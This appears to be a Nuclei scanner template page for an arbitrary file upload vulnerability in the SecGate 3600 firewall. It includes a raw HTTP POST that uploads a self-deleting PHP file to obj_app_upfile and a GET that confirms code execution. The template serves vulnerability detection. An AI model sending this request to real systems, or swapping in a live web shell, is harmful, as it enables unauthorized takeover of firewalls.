SecGate 3600 Firewall obj_app_upfile - Arbitrary File Upload

ID: secgate-3600-file-upload

Severity: critical

Author: SleepingBag945

Tags: secgate,3600,firewall,file-upload,intrusive

Description

There is an arbitrary file upload vulnerability in the obj_app_upfile interface of Internet SecGate 3600 firewall. An attacker can obtain server permissions by constructing a special request package.

YAML Source

id: secgate-3600-file-upload

info:
  name: SecGate 3600 Firewall obj_app_upfile - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    There is an arbitrary file upload vulnerability in the obj_app_upfile interface of Internet SecGate 3600 firewall. An attacker can obtain server permissions by constructing a special request package.
  reference:
    - https://peiqi.wgpsec.org/wiki/iot/%E5%A5%87%E5%AE%89%E4%BF%A1/%E7%BD%91%E7%A5%9E%20SecGate%203600%20%E9%98%B2%E7%81%AB%E5%A2%99%20obj_app_upfile%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E5%A5%87%E5%AE%89%E4%BF%A1/%E7%BD%91%E7%A5%9E%20SecGate%203600%20%E9%98%B2%E7%81%AB%E5%A2%99%20obj_app_upfile%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: "true"
    max-request: 2
    fofa-query: fid="1Lh1LHi6yfkhiO83I59AYg=="
  tags: secgate,3600,firewall,file-upload,intrusive
variables:
  filename: "{{rand_base(6)}}"
  file-upload: "{{rand_base(5)}}"
  string: "secgate-3600-file-upload"

http:
  - raw:
      - |
        POST /?g=obj_app_upfile HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Encoding: gzip, deflate
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{string}}
        User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.0; Trident/4.0)

        ------WebKitFormBoundary{{string}}
        Content-Disposition: form-data; name="MAX_FILE_SIZE"

        10000000
        ------WebKitFormBoundary{{string}}
        Content-Disposition: form-data; name="upfile"; filename="{{filename}}.php"
        Content-Type: text/plain

        <?php echo md5("{{string}}");unlink(__FILE__);?>

        ------WebKitFormBoundary{{string}}
        Content-Disposition: form-data; name="submit_post"

        obj_app_upfile
        ------WebKitFormBoundary{{string}}
        Content-Disposition: form-data; name="__hash__"

        0b9d6b1ab7479ab69d9f71b05e0e9445
        ------WebKitFormBoundary{{string}}--
      - |
        GET /attachements/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'
# digest: 4a0a0047304502206082371c0739060957c4f91eff8283edfd6315af8e508eba2dc8ee09dd4da590022100937f99e558900a9b0ef2836b874a9ee6089d2da556e4c9bec83b6faea3f5e322:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/secworld/secgate-3600-file-upload.yaml"

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